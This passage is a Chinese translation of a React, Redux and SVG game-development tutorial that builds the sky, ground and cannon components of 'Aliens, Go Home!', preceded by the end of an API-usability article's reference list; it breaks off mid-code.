[source](https://dl.acm.org/citation.cfm?id=1176622) * * * #### 参考文献 * [10 Usability Heuristics for User Interface Design](https://www.nngroup.com/articles/ten-usability-heuristics/) * [http://www.apiusability.org/](http://www.apiusability.org/) * Myers, B. A., & Stylos, J. (2016). Improving API usability. _Communications of the ACM_, 59(6), 62–69. [PDF](http://www.cs.cmu.edu/~NatProg/papers/API_Usability_Article_submitted.pdf) * Bloch, J. (2006). How to design a good API and why it matters. _Companion to the 21st ACM SIGPLAN symposium on Object-oriented programming systems, languages, and applications_. ACM. [PDF](https://dl.acm.org/citation.cfm?id=1176622) * Ellis, B., Stylos, J., & Myers, B. (2007). The factory pattern in API design: A usability evaluation. _Proceedings of the 29th international conference on Software Engineering_. IEEE Computer Society. [PDF](https://www.cs.cmu.edu/afs/cs.cmu.edu/Web/People/NatProg/papers/Ellis2007FactoryUsability.pdf) * Robillard, M. P. (2009). What makes APIs hard to learn? Answers from developers. _Software, IEEE_, _26_(6), 27–34. [PDF](http://cs.mcgill.ca/~martin/papers/software2009a.pdf) * Scheller, T., & Kühn, E. (2015). Automated measurement of API usability: The API Concepts Framework. _Information and Software Technology_, _61_, 145–162. [PDF](http://www.researchgate.net/profile/Eva_Kuehn/publication/272027830_Automated_measurement_of_API_usability_The_API_Concepts_Framework/links/55056eff0cf24cee3a047a21.pdf) * [Preventing User Errors: Avoiding Conscious Mistakes](https://www.nngroup.com/articles/user-mistakes/) * [Error Message Guidelines](https://www.nngroup.com/articles/error-message-guidelines/) * [Material Design Patterns and Guidelines](https://material.io/) 感谢 [Nick Butcher](https://medium.com/@crafty?source=post_page) 和 [Tao Dong](https://medium.com/@taodong?source=post_page). --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/developing-games-with-react-redux-and-svg-part-1.md ================================================ > * 原文地址:[Developing Games with React, Redux, and SVG - Part 1](https://auth0.com/blog/developing-games-with-react-redux-and-svg-part-1/?utm_source=mybridge&utm_medium=blog&utm_campaign=read_more) > * 原文作者:[Bruno Krebs](https://twitter.com/brunoskrebs) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/developing-games-with-react-redux-and-svg-part-1.md](https://github.com/xitu/gold-miner/blob/master/TODO/developing-games-with-react-redux-and-svg-part-1.md) > * 译者:[zephyrJS](https://github.com/zephyrJS) > * 校对者:[allenlongbaobao](https://github.com/allenlongbaobao)、[dandyxu](https://github.com/dandyxu) # 使用 React、Redux 和 SVG 开发游戏 — Part 1 **TL;DR:** 在这个系列里,您将学会用 React 和 Redux 来控制一些 SVG 元素来创建一个游戏。通过本系列的学习,您不仅能创建游戏,还能用 React 和 Redux 来开发其他类型的动画。您可以在这个 GitHub 仓库: [Aliens Go Home - Part 1](https://github.com/auth0-blog/aliens-go-home-part-1) 下找到最终的开发代码。 * * * ## React 游戏:Aliens, Go Home! 在这个系列里您将要开发的游戏叫做 **Aliens, Go Home!** 这个游戏的想法很简单,您将拥有一座炮台,然后您必须消灭那些试图入侵地球的飞碟。为了消灭这些飞碟,您必须在 SVG 画布上通过瞄准和点击来操作炮台的射击。 如果您很好奇, 您可以找到 [这个游戏最终运行版](http://bang-bang.digituz.com.br/)。但别太沉迷其中,您还要完成它的开发。 ## 准备工作 作为学习这个系列的先决条件,您将需要一些 web 开发的知识 (主要是 JavaScript) 和一台 [安装了Node.js and NPM](https://nodejs.org/en/download/) 的电脑。您可以在没有很深的 JavaScript 编程语言知识,甚至不知晓 React、Redux 和 SVG 是如何工作的情况下学习本系列的内容。但是,如果您具备这些,您将花更少的时间来领会不同的主题以及它们是如何组合在一起的。 然而,更值得关注的是本系列包含的相关文章、帖子和文档,它们为主题提供了更好的补充说明。 ## 开始之前 尽管前面没有提到 [Git](https://git-scm.com/),但它确实是一个很好的开发工具。所有专业的开发者都会用 Git (或者其他的版本控制系统比如 Mercurial 或 SVN) 来开发,甚至是用于个人的业余项目。 为什么您创建了一个项目却不去备份它?您甚至不必付费就可以使用。因为您用了类似 [GitHub](https://github.com/) (最佳选择!) 或 [BitBucket](https://bitbucket.org/) (老实说并不差) 的服务并且将您的代码保存在值得信赖的云服务器上。 除了确保您的代码安全之外,这些工具还有助于您把握项目开发的进度。例如,如果您正在使用 Git 而且您的 app 的新版本刚好有一些 bug,只需几行命令,就能轻松回滚到之前写的代码。 另一个重要的好处是您可以为这个系列的任何一部分来提交代码。就像这样,您将 [轻松地看到这些部分的修改建议](https://git-scm.com/docs/git-diff),通过本教程的学习,您的生活将变得更轻松。 所以,快给您自己安装个 Git 吧。另外,在 GitHub 上创建一个账号 (如果您还没有 GitHub 账户) 并且把您的项目保存到仓库里。然后,每完成一部分,就把修改提交到这个仓库上。噢,可别忘了 [push 这个操作啊](https://help.github.com/articles/pushing-to-a-remote/)。 ## 用 Create-React-App 来开始一个 React 项目 首先您要用 `create-react-app` 来引导您创建一个 React、Redux 和 SVG 的游戏项目。您可能了解过它 (如果不知道也没关系),[`create-react-app` 是一个由 Facebook 持有的开源工具,它帮助开发者快速的开始他的 React 项目](https://github.com/facebookincubator/create-react-app)。需要安装 Node.js 和 NPM 到本地 (5.2 或以上版本), 您甚至不用安装 `create-react-app` 就能使用它: ```Bash # using npx will download (if needed) # create-react-app and execute it npx create-react-app aliens-go-home # change directory to the new project cd aliens-go-home ``` 该工具将创建类似下面的目录结构: ```Bash |- node_modules |- public |- favicon.ico |- index.html |- manifest.json |- src |- App.css |- App.js |- App.test.js |- index.css |- index.js |- logo.svg |- registerServiceWorker.js |- .gitignore |- package.json |- package-lock.json |- README.md ``` `create-react-app` 是非常热门的,它有着完善的文档和社区支持。例如,如果您想要了解它细节,您可以查看 [`create-react-app` 官方的 GitHub 仓库](https://github.com/facebook/create-react-app) 以及 [他的使用指南](https://github.com/facebook/create-react-app#user-guide)。 现在,您会想把您不需要的文件删掉。例如,您可以处理如下文件: * `App.css`:`App` 是一个很重要的组件但是他的样式定义需要交给其他组件来处理; * `App.test.js`:测试的内容会在其他的文章里提到,现在您还不需要用到它; * `logo.svg`:这个游戏里您不会用到 React 的 logo; 删除这些文件后,如果您执行这个项目它很可能会报错。但您只需要删除 `./src/App.js` 文件里引用的两句话就能轻松解决: ```JavaScript // remove both lines from ./src/App.js import logo from './logo.svg'; import './App.css'; ``` 然后重构下 `render()` 方法: ```JavaScript // ... import statement and class definition render() { return (

    We will create an awesome game with React, Redux, and SVG!

    ); } // ... closing bracket and export statement ``` > **千万别忘了** 提交您的文件到 Git 上! ## 安装 Redux 和 PropTypes 在启动了 React 项目并删掉了一些没用的文件之后,您将安装和配置 [Redux](https://redux.js.org/) 来使它成为 [您应用程序的唯一数据源](https://redux.js.org/docs/introduction/ThreePrinciples.html#single-source-of-truth). 您也需要安装 [PropTypes](https://github.com/facebook/prop-types),[这个工具将帮助您避免常见的错误](https://reactjs.org/docs/typechecking-with-proptypes.html)。两个工具可以用一行命令来安装: ```Bash npm i redux react-redux prop-types ``` 如您所见,这行命令包含了第三个 NPM 包:`react-redux`。尽管您可以直接在 React 里面使用 Redux,但它不是最佳选择。[`react-redux` 对我们原本需要繁琐手动处理的性能优化有所帮助](https://redux.js.org/docs/basics/UsageWithReact.html)。 ### 配置 Redux 和使用 PropTypes 有了这些包,您就能在您的应用里配置和使用 Redux 了。这个过程很简单,您将需要创建一个 **container** 组件,一个 **presentational** 组件,以及一个 **reducer**。容器组件和视图组件的区别在于,首先需要将视图组件 `连接` 到 Redux。reducer 是您将要创建的第三个组件,它是 Redux store 里的核心组件。这类组件主要用于当您的应用触发事件后来获取对应的 **actions** 并根据这些 actions 来调用关联的函数去修改相应的状态。 > 如果您对这些概念还不熟悉,您可以阅读 [这篇文章来更好的理解视图组件和容器组件](https://medium.com/@dan_abramov/smart-and-dumb-components-7ca2f9a7c7d0) 以及通过 [这篇 Redux 使用教程来学习关于 **actions**、**reducers**、和 **store** 的概念](https://auth0.com/blog/redux-practical-tutorial/). 尽管学会这些概念是很值得推荐的,但即使都不懂您也能无障碍地学习本系列的教程。 您最好先创建 reducer 来开始您的项目,因为它不依赖其它资源(事实上,正好相反)。为了把它们组合起来,您需要在 `src` 目录里面创建一个叫做 `reducers` 的新目录,然后往里面添加一个 `index.js` 文件。这个文件包含的源码如下: ```JavaScript const initialState = { message: `It's easy to integrate React and Redux, isn't it?`, }; function reducer(state = initialState) { return state; } export default reducer; ``` 现在,您的 reducer 将简单地初始化一个叫 `message` 的应用状态,它将很容易的集成到 React 和 Redux 中。紧接着,您将定义 actions 并在文件中操作它们。 然后,您可以重构您的应用来向用户展示这个 message。此刻是您安装并使用 `prop-types` 的好时机。为此, 您需要打开 `./src/App.js` 文件并替换成如下内容: ```JavaScript import React, {Component} from 'react'; import PropTypes from 'prop-types'; class App extends Component { render() { return (

    {this.props.message}

    ); } } App.propTypes = { message: PropTypes.string.isRequired, }; export default App; ``` 如您所见,用 `prop-types` 定义您组件所期望的类型是轻而易举的。您只需要用相应的 `props` 来定义组件的 `propTypes` 属性。网上总结了一些关于 propTypes 的基础和高级的用法的备忘录(例如 [这个](https://lzone.de/cheat-sheet/React%20PropTypes)、[这个](https://reactcheatsheet.com/)、还有[这个](https://devhints.io/react))。如果需要,就去看看吧。 尽管您定义了需要渲染的 `App` 组件以及用 Redux store 初始化了 state,您仍然需要某种方法把组件组合在一起。这时候 **container** 组件登场了。用一种用组织的方式来定义您的 container,您将在 `src` 目录里创建一个 `containers` 目录。然后,您就可以在新目录下的 `Game.js` 里面创建一个叫 `Game` 的容器。这个组件将使用 `react-redux` 的 `connect` 方法并往 `App` 组件的 `message` 属性中传入 `state.message` 的值: ```JavaScript import { connect } from 'react-redux'; import App from '../App'; const mapStateToProps = state => ({ message: state.message, }); const Game = connect( mapStateToProps, )(App); export default Game; ``` 快大功告成了。最后一步是重构 `./src/index.js` 来把它们组织在一起,我们通过初始化 Redux store 和把它传进 `Game` 容器(该容器将获取 `message` 并把它传给 `App`)来完成这一步。下面就是 `./src/index.js` 文件重构后的代码: ```JavaScript import React from 'react'; import ReactDOM from 'react-dom'; import { Provider } from 'react-redux'; import { createStore } from 'redux'; import './index.css'; import Game from './containers/Game'; import reducer from './reducers'; import registerServiceWorker from './registerServiceWorker'; /* eslint-disable no-underscore-dangle */ const store = createStore( reducer, /* preloadedState, */ window.__REDUX_DEVTOOLS_EXTENSION__ && window.__REDUX_DEVTOOLS_EXTENSION__(), ); /* eslint-enable */ ReactDOM.render( , document.getElementById('root'), ); registerServiceWorker(); ``` 搞定!现在您可以到项目的根目录运行 `npm start` 来看看是否一切正常。这将在开发模式中运行您的应用程序并在默认浏览器中打开它。 > [“集成 React 和 Redux 是非常容易的。” 在这里 tweet 我们 ![](https://cdn.auth0.com/blog/resources/twitter.svg)](https://twitter.com/intent/tweet?text="It%27s+easy+to+integrate+React+and+Redux."%20via%20@auth0%20http://auth0.com/blog/developing-games-with-react-redux-and-svg-part-1/) ## 用 React 创建 SVG 组件 在这个系列您将看到,用 React 创建 SVG 组件是非常轻松的事。事实上,用 HTML 和 SVG 创建 React 组件几乎没有区别。基本上,唯一的区别就是 SVG 引入了一些新的元素,而这些元素都是在 SVG 上绘制的。 话虽如此,在用 SVG 和 React 创建组件之前,简单了解下 SVG 还是很有帮助的。 ### SVG 简介 SVG 是最酷和最灵活的 web 标准之一。SVG 是可伸缩矢量图形 (Scalable Vector Graphics) 标准,它是一种标记语言,允许开发人员绘制二维的矢量图形。它与 HTML 非常相似。这两种技术都是基于 XML 标记语言,可以很好地与 CSS 和 DOM 等其他 Web 标准兼容。这意味着您可以将 CSS 规则应用于 SVG 元素,就像您对 HTML 元素 (包括动画) 所做的那样。 在本系列教程里,您将用 React 创建许多 SVG 组件。您甚至将组合(填充)SVG 元素到您的 game 元素里(就像往大炮里填充炮弹一样)。 关于 SVG 详尽的介绍并不在本系列的探讨访问之内,它将使本文过于冗长。所以,如果您想学习关于 SVG 标记语言更详尽的内容,您可以去查看 [Mozilla 提供的 **SVG 教程**](https://developer.mozilla.org/en-US/docs/Web/SVG/Tutorial) 以及在 [这篇文章中了解关于 SVG 坐标系的内容](https://www.sarasoueidan.com/blog/svg-coordinate-systems/)。 但是,在开始创建组件之前,您需要了解一些关于 SVG 的重要特性。首先,开发者可以将 SVG 和 DOM 组合在一起来实现某些令人兴奋的功能。我们可以很轻松地把 React 和 SVG 结合起来。 其次,SVG 坐标系跟笛卡尔平面非常相似,但却是上下颠倒的。那意味着在 x 轴上方(y 轴上半轴)默认是负值。另一方面,横坐标的值跟笛卡尔平面一样(即负值显示在 y 轴的左侧)。这些行为很容易通过 [在 SVG 的画布里转化](https://developer.mozilla.org/en-US/docs/Web/SVG/Attribute/transform) 来修改。但是,为了不使其它的开发人员感到困惑,最好还是使用默认的方式。您将很快习惯它的用法。 第三也是最后一件事,您需要知道 SVG 引入了许多的新元素(例如 `circle`、`rect`、和 `path`)。 要使用这些元素,不能简单地在 HTML 元素中定义它们。首先, 您必须在您想要绘制的 SVG 组件里定义一个 svg 元素(画布)。 ### SVG,Path 元素和三次贝塞尔曲线 使用 SVG 绘制元素可以通过三种方式完成。首先,您可以使用像 `rect`,`circle` 和 `line` 这些元素。尽管它们用起来不怎么方便。顾名思义,它们只能让您绘制一些简单的图形。 第二种方式是把它们组合成更为复杂的图形。例如,您可以用一个等边的 `矩形`(正方形)和两条直线组合成一个房子。但是这种做法仍然有局限性。 使用 [`path` 元素](https://developer.mozilla.org/en-US/docs/Web/SVG/Tutorial/Paths) 是更加灵活的第三者方式。这种元素允许开发者创建更加复杂的图形。它接受一组命令来指导浏览器绘制绘制图形。例如,要绘制一个 'L',您可以创建一个 `path` 元素,其中包含三个命令: 1. `M 20 20`: `M` 是移动的意思,这个命令让浏览器的 `画笔` 移动到指定的 X 和 Y 坐标(即 `20, 20`); 2. `V 80`: 这个命令让浏览器绘制一条从上一个点到 `80` 的平行于 y 轴的垂直线; 3. `H 50`: 这个命令让浏览器绘制一条从上一个点到 `50` 的平行于 x 轴的水平线; ```JavaScript ``` `path` 元素接受许多其他命令。其中,最重要的命令之一就是 [三次贝塞尔曲线命令](https://developer.mozilla.org/en-US/docs/Web/SVG/Tutorial/Paths#Bezier_Curves). 此命令允许您在路径中添加一些平滑曲线,方法是获取两个参考点和两个控制点。 Mozilla 教程介绍了三次贝塞尔曲线在 SVG 上是如何工作的: > **”三次贝塞尔曲线的每个点都有两个控制点来控制。因此,为了创建三次贝塞尔曲线,您需要定义三组坐标。最后一组坐标表示曲线的终点。另外两组是控制点。[...]。控制点实际上描述的是曲线起始点的斜率。Bezier 函数创建一个平滑曲线,描述了从起点斜率到终点斜率的渐变过程“** —[Mozilla 开发者网络](https://developer.mozilla.org/en-US/docs/Web/SVG/Tutorial/Paths#Bezier_Curves) 例如,绘制一个 “U”,您可以按照如下步骤执行: ```JavaScrpt ``` 在这个例子里,传递给 `path` 元素的指令告诉浏览器需要执行以下步骤: 1. 先绘制一个坐标点 `20, 20`; 2. 第一个控制点的坐标是 `20, 110`; 3. 接着第二个控制点的坐标是 `110, 110`; 4. 结束曲线的终点坐标是 `110 20`; 如果您仍然不知道三次贝塞尔曲线是如何工作的,也不用担心。在本系列教程里,有将会有机会来练习它的。除此之外,您还可以在网上找到许多关于这个特性的教程而且您也可以通过类似 [JSFiddle](https://jsfiddle.net/) 和 [Codepen](https://codepen.io/) 这类工具来练习它。 ### 创建 Canvas 组件 既然您的项目已经结构化,并且您已经了解了 SVG 的基本知识,那么是时候开始创建您的游戏了。您需要创建的第一个元素是 SVG 画布,您将使用它来绘制游戏的元素。 这是一个视图组件。因此,您可以在 `./src` 目录下创建一个名为 `Component` 目录,用来保存和它类似的组件。您的动画都将在上面绘制,叫 `Canvas` 是在自然不过的事了。因此,在 `./src/components/` 目录下创建 `Canvas.jsx` 文件并添加如下代码: ```JavaScript import React from 'react'; const Canvas = () => { const style = { border: '1px solid black', }; return ( ); }; export default Canvas; ``` 有了这个文件后,您将重构您的 `App` 组件来使用 `Canvas`: ```JavaScript import React, {Component} from 'react'; import Canvas from './components/Canvas'; class App extends Component { render() { return ( ); } } export default App; ``` 如果您运行了(`npm start`)命令并查看了您的应用,您将看到浏览器只绘制了圆的四分之一。这是因为坐标系原点默认在窗口的左上角。另外,您也会看到 `svg` 并没有占满整个屏幕。 为了便于管理,您最好将画布填充满整个屏幕。您也会希望重新定位它的原点,使其位于 X 轴的中心,并且靠近底部(一会您就会把您的炮台放在原点上)。同时,您需要修改这两个文件:`./src/components/Canvas.jsx` 和 `./src/index.css`。 您可以把 `Canva` 组件的内容替换成如下代码: ```JavaScript import React from 'react'; const Canvas = () => { const viewBox = [window.innerWidth / -2, 100 - window.innerHeight, window.innerWidth, window.innerHeight]; return ( ); }; export default Canvas; ``` 在新的版本里,您会为 `svg` 元素定义 [`viewBox` 特性](https://developer.mozilla.org/en-US/docs/Web/SVG/Attribute/viewBox)。此特性的作用是定义画布及其内容必须适合特定容器(在当前的例子里指的是 window/browser)。如您所见,`viewBox` 特性有 4 个参数: * `min-x`:这个值定义的是用户看到的最左边的点。因此,要使 y 轴(和圆)出现在屏幕中心,可以将屏幕宽度除以负 2(`window.innerWidth/-2`),来得到这个属性(`min-x`)。注意您要使用 `-2` 来平分原点左(负)右(正)两边的数值。 * `min-y`:这个值定义了您画布最上边的点。这里,您通过 `100` 减去 `window.innerHeight` 来给 Y 原点之后空出了一些区域(`100` 点)。 * `width` 和 `height`:这些值定义了用户将在屏幕上看到多少个 X 和 Y 坐标。 除了定义 `viewBox` 特性,您也可以在新版本里定义 [`preserveAspectRatio`](https://developer.mozilla.org/en-US/docs/Web/SVG/Attribute/preserveAspectRatio) 特性。您已经使用了 `xMaxYMax none` 来强制使画布和它的元素进行统一的缩放。 重构您的画布之后,您需要在 `./src/index.css` 文件中添加如下规则: ```CSS /* ... body definition ... */ html, body { overflow: hidden; height: 100%; } ``` 这将是 `html` 和 `body` 元素隐藏(禁用)滚动。它也将是这些元素占满这个屏幕。 如果您现在查看您的应用,您会看到您的圆正水平居中并位于屏幕底部附近。 ### 创建 Sky 组件 在使画布占满整个屏幕并将原点轴重新定位到它的中心之后,是时候创建真正的游戏元素了。您可以先定义一个 sky 组件来作为您的游戏背景。为此,可以在 `./src/Components/` 目录下创建 `Sky.jsx` 文件,代码如下: ```JavaScript import React from 'react'; const Sky = () => { const skyStyle = { fill: '#30abef', }; const skyWidth = 5000; const gameHeight = 1200; return ( ); }; export default Sky; ``` 您可能会感到奇怪为什么要给您的游戏设置如此巨大的区域(宽 `5000` 和高 `1200`)。事实上,宽度在这个游戏中并不重要。您只需要设置可以覆盖任何尺寸的屏幕就够了。 现在,高度是很重要的。很快,无论用户分辨率是多少横屏还是竖屏,您都会把画布高度强制显示为 `1200`。这将给您游戏带来一致地体验,每个用户都将会在同一区域看到您的游戏。像这样,您将会定义飞碟将出现在哪里以及它们将需要多长时间通过这些点。 要想您的画布显示您的新天空,请在编辑器打开 `Canvas.jsx` 并对其进行重构: ```JavaScript import React from 'react'; import Sky from './Sky'; const Canvas = () => { const viewBox = [window.innerWidth / -2, 100 - window.innerHeight, window.innerWidth, window.innerHeight]; return ( ); }; export default Canvas; ``` 如果您现在检查您的应用(`npm start`),您将看到您的圆仍在正中央靠近底部的位置,而且您现在有了一个蓝色(`fill: '#30abef'`)的背景。 > **注意:** 如果您将 `Sky` 组件放到 `circle` 组件后面,您将再也看不到后者。这是因为 SVG **并不** 支持 `z-index` 属性。SVG 依赖于所列元素的顺序来决定哪个元素高于另一个元素。也就是说,您必须在 `Sky` 组件之后定义 `Circle` 组件,这样才能让网页浏览器知道必须在蓝色背景之上显示它。 ### 创建 Ground 组件 创建完 `Sky` 组件后, 接下来您可以创建 `Ground` 组件。为此,在 `./src/Components/` 目录下创建一个名为 `Cround.js` 的新文件,并添加如下代码: ```JavaScript import React from 'react'; const Ground = () => { const groundStyle = { fill: '#59a941', }; const division = { stroke: '#458232', strokeWidth: '3px', }; const groundWidth = 5000; return ( ); }; export default Ground; ``` 这是一个并不怎么花哨的组件。它只由一个矩形和一条线组成。但是,如您所见,它还是需要一个值为 `5000` 的常量来定义宽度。因此,专门创建一个文件来保存这样的全局常量是一个不错的选择。 就像这样,在 `./src/` 目录下创建一个名为 `utils` 的新目录,紧接着,在这个新目录下创建一个名为 `constants.js` 文件。 现在,您可以往里面添加一个常量: ```JavaScript // very wide to provide as full screen feeling export const skyAndGroundWidth = 5000; ``` 之后,您就可以重构您的 `Sky` 组件和 `Ground` 组件来使用这个新常量。 结束这节后,可别忘了往您的画布里添加 `Groud` 组件(记得要放在 `Sky` 组件和 `Circle`组件之间)。[如果您对于最后的这些步骤有什么疑问,请在这里给我留言](https://github.com/auth0-blog/aliens-go-home-part-1/commit/f453eb5147821f0289ecd81b8ae8deb0b7941f0e). ### 创建 Cannon 组件 现在您的游戏了已经有了 sky 组件和 ground 组件了。接下来,您将添加一些更加有趣的东西。也许,是时候让您的 cannon 组件登场了。这些组件会比其它的两个组件要复杂些。它们将会有更多行代码,这是由于您将要用三次贝塞尔曲线来绘制它们。 您可能还记得,在 SVG 上定义三次贝塞尔曲线需要四个点:起点,终点以及两个控制点。这些点在 `path` 元素上的 `d` 属性里定义,就像这样:`M 20 20 C 20 110, 110 110, 110 20`。 为了避免重复您可在代码里使用 [模板字符串](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals) 来创建这些曲线,您可以在 `./src/utils/` 目录下创建一个名为 `formulas.js` 的文件,并定义一个传入某些参数就会返回这些字符串的函数: ```JavaScript export const pathFromBezierCurve = (cubicBezierCurve) => { const { initialAxis, initialControlPoint, endingControlPoint, endingAxis, } = cubicBezierCurve; return ` M${initialAxis.x} ${initialAxis.y} c ${initialControlPoint.x} ${initialControlPoint.y} ${endingControlPoint.x} ${endingControlPoint.y} ${endingAxis.x} ${endingAxis.y} `; }; ``` 这段代码十分简单,它先从 `cubicBezierCurve` 中提取(`initialAxis`,`initialControlPoint`,`endingControlPoint`,`endingAxis`)接着将它们传入到构建三次贝塞尔曲线的模板字符串中。 有了这个文件,您就可以构建您的炮台了。为了让事情更有条理,您需要把您的炮台分为两部分: `CannonBase` 和 `CannonPipe`。 要定义 `CannonBase`,需在 `./src/components` 目录下创建 `CannonBase.jsx` 文件并添加如下代码: ```JavaScript import React from 'react'; import { pathFromBezierCurve } from '../utils/formulas'; const CannonBase = (props) => { const cannonBaseStyle = { fill: '#a16012', stroke: '#75450e', strokeWidth: '2px', }; const baseWith = 80; const halfBase = 40; const height = 60; const negativeHeight = height * -1; const cubicBezierCurve = { initialAxis: { x: -halfBase, y: height, }, initialControlPoint: { x: 20, y: negativeHeight, }, endingControlPoint: { x: 60, y: negativeHeight, }, endingAxis: { x: baseWith, y: 0, }, }; return ( ); }; export default CannonBase; ``` 除了三次贝塞尔曲线,这个组件没有其他新意。最后,浏览器会渲染出一个带有深棕色的曲线和亮棕色背景的元素。 创建 `CannonPipe` 的代码将会类似于 `CannonBase`。不同之处在于它将使用其他颜色,并用其他的坐标点来传 `pathFromBezierCurve` 函数来绘制炮管。另外,这个组件还会使用 [transform](https://developer.mozilla.org/en-US/docs/Web/SVG/Attribute/transform) 属性来模拟炮台的旋转。 为了创建这个组件,`./src/components/` 目录下创建 `CannonPipe.jsx` 文件并添加如下代码: ```JavaScript import React from 'react'; import PropTypes from 'prop-types'; import { pathFromBezierCurve } from '../utils/formulas'; const CannonPipe = (props) => { const cannonPipeStyle = { fill: '#999', stroke: '#666', strokeWidth: '2px', }; const transform = `rotate(${props.rotation}, 0, 0)`; const muzzleWidth = 40; const halfMuzzle = 20; const height = 100; const yBasis = 70; const cubicBezierCurve = { initialAxis: { x: -halfMuzzle, y: -yBasis, }, initialControlPoint: { x: -40, y: height * 1.7, }, endingControlPoint: { x: 80, y: height * 1.7, }, endingAxis: { x: muzzleWidth, y: 0, }, }; return ( ); }; CannonPipe.propTypes = { rotation: PropTypes.number.isRequired, }; export default CannonPipe; ``` 之后,从您的画布中移除 `circle` 组件并用 `CannonBase` 和 `CannonPipe` 来替代它。这是重构之后的代码: ```JavaScript import React from 'react'; import Sky from './Sky'; import Ground from './Ground'; import CannonBase from './CannonBase'; import CannonPipe from './CannonPipe'; const Canvas = () => { const viewBox = [window.innerWidth / -2, 100 - window.innerHeight, window.innerWidth, window.innerHeight]; return ( ); }; export default Canvas; ``` 检查并运行您的应用,您将看到如下矢量图所呈现的画面: ![Drawing SVG elements with React and Redux ](https://cdn.auth0.com/blog/aliens-go-home/cannon-react-component.png) ### 让 Cannon 能够瞄准 您的游戏越来越完善了。您已经给游戏添加了背景元素(`Sky` 和 `Ground`)和炮台。现在的问题是所有东西都是死的。所以,为了让事情变得更有趣,您要专注于完成炮台的瞄准功能。为此,您要给您的画布添加 `onmousemove` 时间监听器并在每次触发是刷新它(即,每次用户移动鼠标的时候),但这会降低您的游戏性能。 为了解决这种状况,您需要设置一个 [固定的间隔](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setInterval) 来检查最后一个鼠标的位置,以调整您的 `CannonPipe` 的角度。这个策略里您将继续使用 `onmousemove` 时间监听器,不同的是这些事件不会一直触发重新渲染。它们只将更新游戏中的一个属性,然后间隔地使用这个属性来触发重新选择(通过更新 Redux store)。 这是您第一次要用 Redux 的 **action** 来更新应用程序的状态(或者是说炮台的角度)。像这样,您需要在 `./src/` 目录下创建 `actions` 的新目录。在新目录里,您需要创建 `index.js` 文件并添加如下代码: ```JavaScript export const MOVE_OBJECTS = 'MOVE_OBJECTS'; export const moveObjects = mousePosition => ({ type: MOVE_OBJECTS, mousePosition, }); ``` > **注意:** 您将调用 `MOVE_OBJECTS` 这个指令因为您不仅会用它来更新炮台。在 [本系列的下个教程里](https://auth0.com/blog/developing-games-with-react-redux-and-svg-part-2/),您还将使用同样的指令来移动炮弹和飞碟。 在定义完 Redux action 后,您将重构您的 reducer(`./src/reducers/` 中的 `index.js` 文件)来处理它: ```JavaScript import { MOVE_OBJECTS } from '../actions'; import moveObjects from './moveObjects'; const initialState = { angle: 45, }; function reducer(state = initialState, action) { switch (action.type) { case MOVE_OBJECTS: return moveObjects(state, action); default: return state; } } export default reducer; ``` 这个文件的新版本执行一个 action,如果 `type` 是 `MOVE_OBJECTS`, 它将调用 `moveObjects` 函数。需要注意的是,在定义该函数之前,您还需要在新版本里定义应用的初始化状态,它包含了值为 `45` 的 `angle` 属性。这定义了您应用程序里炮台的初始瞄准角度。 如您所见,`moveObjects` 函数就是一个 **reducer**。您将会在新文件里定义这个函数因为您将会有大量的 `reducer` 而您希望更好的管理和维护它们。因此,在 `./src/reducers/` 目录里创建 `moveObjects.js` 文件并添加如下代码: ```JavaScript import { calculateAngle } from '../utils/formulas'; function moveObjects(state, action) { if (!action.mousePosition) return state; const { x, y } = action.mousePosition; const angle = calculateAngle(0, 0, x, y); return { ...state, angle, }; } export default moveObjects; ``` 这段代码很简单,它只是从 `mousePosition` 中获取 `x` 和 `y` 属性,并把它们传给 `calculateAngle` 函数来获取新的 `angle`。最后,会用新的 angle 来生成新的 state。 现在,您可能已经发现您还没有在 `formulas.js` 文件中定义 `calculateAngle` 函数,对吗?关于如何用两个点来算出需要的角度已经超出了本章的讨论范围,如果您感兴趣的话,可以查阅 [StackExchange 上的这个问题](https://math.stackexchange.com/questions/714378/find-the-angle-that-creating-with-y-axis-in-degrees) 来理解其背后究竟发生了什么。最后,您需要在 `formulas.js` 文件(`./src/utils/formulas`)里添加如下函数: ```JavaScript export const radiansToDegrees = radians => ((radians * 180) / Math.PI); // https://math.stackexchange.com/questions/714378/find-the-angle-that-creating-with-y-axis-in-degrees export const calculateAngle = (x1, y1, x2, y2) => { if (x2 >= 0 && y2 >= 0) { return 90; } else if (x2 < 0 && y2 >= 0) { return -90; } const dividend = x2 - x1; const divisor = y2 - y1; const quotient = dividend / divisor; return radiansToDegrees(Math.atan(quotient)) * -1; }; ``` > **注意:** 由 JavaScript 的 `Math` 对象提供的 `atan` 函数来算出一个弧度值。您将需要把这个值转换为度数。这就是您为什么要定义(和使用)`radiansToDegrees` 函数的原因。 在之后新定义的 action 和 reducer 里,您将会继续用到这个函数。但您的游戏依赖于 Redux 来管理它的状态时,您需要将 `moveObjects` 映射到您 `App` 的 `props` 里。您将重构 `Game` 容器来完成这些操作。因此,打开 `Game.js` 文件(`./src/containers`)并替换成如下代码: ```JavaScript import { connect } from 'react-redux'; import App from '../App'; import { moveObjects } from '../actions/index'; const mapStateToProps = state => ({ angle: state.angle, }); const mapDispatchToProps = dispatch => ({ moveObjects: (mousePosition) => { dispatch(moveObjects(mousePosition)); }, }); const Game = connect( mapStateToProps, mapDispatchToProps, )(App); export default Game; ``` 有了这些映射以后,您只需要把精力放在如何在 `App` 组件里使用它们。所以,打开 `App.js` 文件(在 `./src/` 目录下)并替换成如下代码: ```JavaScript import React, {Component} from 'react'; import PropTypes from 'prop-types'; import { getCanvasPosition } from './utils/formulas'; import Canvas from 